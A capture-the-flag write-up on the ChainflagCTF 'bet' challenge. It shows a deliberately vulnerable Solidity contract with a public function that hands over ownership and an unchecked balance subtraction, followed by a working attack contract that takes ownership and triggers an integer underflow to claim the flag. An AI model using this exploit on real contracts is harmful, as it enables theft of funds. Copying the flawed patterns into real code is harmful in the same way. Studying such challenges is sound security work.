08.integer-overflow @bet
2023-07-13 16:28:02 # 02.ChainflagCTF

integer-overflow(bet)

contract

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pragma solidity ^0.4.24;

contract bet {
    uint secret;
    address owner;
    
    mapping(address => uint) public balanceOf;
    mapping(address => uint) public gift;
    mapping(address => uint) public isbet;
    
    event SendFlag(string b64email);
    
    function Bet() public{
        owner = msg.sender;
    }
    
    function payforflag(string b64email) public {
        require(balanceOf[msg.sender] >= 100000);
        balanceOf[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit SendFlag(b64email);
    }
    

    //to fuck
    
    modifier only_owner() {
        require(msg.sender == owner);
        _;
    }
    
    function setsecret(uint secretrcv) only_owner {
        secret=secretrcv;
    }
    
    function deposit() payable{
        uint geteth=msg.value/1000000000000000000;
        balanceOf[msg.sender]+=geteth;
    }
    
    function profit() {
        require(gift[msg.sender]==0);
        gift[msg.sender]=1;
        balanceOf[msg.sender]+=1;
    }
    
    function betgame(uint secretguess){
        require(balanceOf[msg.sender]>0);
        balanceOf[msg.sender]-=1;
        if (secretguess==secret)
        {
            balanceOf[msg.sender]+=2;
            isbet[msg.sender]=1;
        }
    }
    
    function doublebetgame(uint secretguess) only_owner{
        require(balanceOf[msg.sender]-2>0);
        require(isbet[msg.sender]==1);
        balanceOf[msg.sender]-=2;
        if (secretguess==secret)
        {
            balanceOf[msg.sender]+=2;
        }
    }

}

analyses

underflow & secret can be seen and controlled

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interface Ibet {
    function balanceOf(address) external returns(uint);
    function Bet() external;
    function payforflag(string) external;
    function setsecret(uint) external;
    function profit() external;
    function betgame(uint)external;
    function doublebetgame(uint) external;
}

contract betAttack{
    Ibet public _bet;

    constructor(address _addr) public{
        _bet = Ibet(_addr);
    }

    function solve() public{
        _bet.Bet(); //be the owner
        _bet.profit(); //get 1 ether to play game
        _bet.betgame(0); // the secret is '0', if we guess right, we will make isbet() return 1, than we can call doublebetgame
        _bet.betgame(1); // guess for a wrong number, it will minus 1 of our balance: now our balance is 2 - 1 = 1
        // wrong guess, which will minus us 2 ether, it will cause an underflow: 1 - 2 = 115792089237316195423570985008687907853269984665640564039457584007913129639935
        // attention, dont put in the correct number, bacause it will add 2 after underflow which makes our balance back to 1
        _bet.doublebetgame(1); 
        _bet.payforflag("successfully");
    }

    function getBalance() public view returns(uint256){
        uint256 balance = _bet.balanceOf(address(this));
        return balance;
    }

    function() external payable {} // attention!!!! solve() will revert without this!!!

}

solve

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2023-07-13 16:28:02 # 02.ChainflagCTF
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